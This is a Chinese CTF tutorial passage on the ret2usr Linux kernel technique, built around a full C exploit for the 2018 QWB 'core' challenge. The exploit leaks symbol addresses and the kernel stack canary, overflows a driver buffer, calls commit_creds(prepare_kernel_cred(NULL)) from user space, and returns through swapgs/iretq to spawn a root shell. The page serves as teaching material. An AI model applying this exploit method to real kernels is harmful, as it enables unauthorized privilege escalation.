跳转至

ret2usr(已过时)

概述

在【未】开启SMAP/SMEP保护的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问/执行用户空间的数据,因此 ret2usr 这种攻击手法应运而生——通过 kernel ROP 以内核的 ring 0 权限执行用户空间的代码以完成提权。

通常 CTF 中的 ret2usr 还是以执行 commit_creds(prepare_kernel_cred(NULL)) 进行提权为主要的攻击手法,不过相比起构造冗长的ROP chain,ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可,在这种情况下 我们只需要劫持内核执行流,而无需在内核空间构造复杂的 ROP 链条

✳ 对于开启了 SMAP/SMEP保护 的 kernel 而言,内核空间尝试直接访问用户空间会引起 kernel panic,我们将在下一章节讲述其绕过方式。

在 QEMU 启动参数中,我们可以为 CPU 参数加上 -smep,-smap 以显式关闭 SMEP&SMAP 保护,例如:

#!/bin/sh
qemu-system-x86_64 \
    -enable-kvm \
    -cpu host,-smep,-smap \
# ...

例题:2018 强网杯 - core

具体的这里就不再重复分析了,由于其未开启 smap/smep 保护,故可以考虑在用户地址空间中构造好对应的代码后直接 ret2usr 以提权,并直接编写汇编代码进行返回用户空间的操作,我们在内核空间中只需要直接返回到该函数即可。

最终的 exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

/**
 * Kernel Pwn Infrastructures
**/

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg)    puts(SUCCESS_MSG(msg))
#define log_info(msg)       puts(INFO_MSG(msg))
#define log_error(msg)      puts(ERROR_MSG(msg))

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    log_success("[*] Status has been saved.");
}

void get_root_shell(void)
{
    if(getuid()) {
        log_error("[x] Failed to get the root!");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    log_success("[+] Successful to get the root.");
    log_info("[*] Execve root shell now...");

    system("/bin/sh");

    /* to exit the process normally, instead of potential segmentation fault */
    exit(EXIT_SUCCESS);
}

void* (*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);

void ret2usr_attack(void)
{
    prepare_kernel_cred_kfunc = (void*(*)(void*)) prepare_kernel_cred;
    commit_creds_kfunc = (int (*)(void*)) commit_creds;

    (*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));

    asm volatile(
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "sub rax, 8;"   /* stack balance */
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "lea rax, get_root_shell;"
        "push rax;"
        "swapgs;"
        "iretq;"
    );
}

/**
 * Challenge Interface
**/

void core_read(int fd, char *buf)
{
    ioctl(fd, 0x6677889B, buf);
}

void set_off_val(int fd, size_t off)
{
    ioctl(fd, 0x6677889C, off);
}

void core_copy(int fd, size_t nbytes)
{
    ioctl(fd, 0x6677889A, nbytes);
}

/**
 * Exploitation
**/

#define COMMIT_CREDS 0xffffffff8109c8e0

void exploitation(void)
{
    FILE *ksyms_file;
    int fd;
    char buf[0x1000], type[0x10];
    size_t addr;
    size_t canary;
    size_t rop_chain[0x100], i;

    log_info("[*] Start to exploit...");
    save_status();

    fd = open("/proc/core", O_RDWR);
    if(fd < 0) {
        log_error("[x] Failed to open the /proc/core !");
        exit(EXIT_FAILURE);
    }

    /* get addresses of kernel symbols */

    log_info("[*] Reading /tmp/kallsyms...");

    ksyms_file = fopen("/tmp/kallsyms", "r");
    if(ksyms_file == NULL) {
        log_error("[x] Failed to open the sym_table file!");
        exit(EXIT_FAILURE);
    }

    while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) {
        if(prepare_kernel_cred && commit_creds) {
            break;
        }

        if(!commit_creds && !strcmp(buf, "commit_creds")) {
            commit_creds = addr;
            printf(
                SUCCESS_MSG("[+] Successful to get the addr of commit_cread: ")   
               "%lx\n", commit_creds);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printf(SUCCESS_MSG(
                "[+] Successful to get the addr of prepare_kernel_cred: ")
               "%lx\n", prepare_kernel_cred);
            continue;
        }
    }

    kernel_offset = commit_creds - COMMIT_CREDS;
    kernel_base += kernel_offset;
    printf(
        SUCCESS_MSG("[+] Got kernel base: ") "%lx"
        SUCCESS_MSG(" , kaslr offset: ") "%lx\n",
        kernel_base,
        kernel_offset
    );

    /* reading canary value */

    log_info("[*] Reading value of kernel stack canary...");

    set_off_val(fd, 64);
    core_read(fd, buf);
    canary = ((size_t*) buf)[0];

    printf(SUCCESS_MSG("[+] Got kernel stack canary: ") "%lx\n", canary);

    /* building ROP chain */

    rop_chain[8] = canary;
    rop_chain[10] = (size_t) ret2usr_attack;

    /* exploitation */

    log_info("[*] Start to execute ROP chain in kernel space...");

    write(fd, rop_chain, 0x800);
    core_copy(fd, 0xffffffffffff0000 | (0x100));
}

int main(int argc, char ** argv)
{
    exploitation();
    return 0;   /* never arrive here... */
}

这里我们可以注意到,与前面常规 kernel rop 做法不同的主要是 rop 链的构造:

  • 常规的 kernel rop 通过在内核空间构造复杂的 ROP 链条控制内核执行流完成提权,之后继续通过 ROP chain 调用内核空间中已有的 swapgs; iretq 指令返回到用户态,执行用户空间的 system("/bin/sh") 获取 shell, 这种方式需要手工构造复杂 ROP chain ,并非常依赖于内核中可用 ROP gadget 的存在性
  • ret2usr 做法中,我们直接返回到用户空间的指定函数,在其中通过函数指针的方式调用内核空间的 commit_creds(prepare_kernel_cred(NULL)) 进行提权,完成之后通过我们手工构造的裸汇编代码完成 swapgs; iretq 返回用户态的过程,在这种情况下 我们只需要劫持内核执行流,而无需在内核空间构造复杂的 ROP 链条

从这两种做法的比较可以体会出之所以要 ret2usr,是因为一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。

KPTI 与 ret2usr

对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,因此当内核尝试执行用户空间代码时,由于对应页顶级表项没有设置可执行位,因此会直接 panic,这意味着实际上 ret2usr 已经是过去式了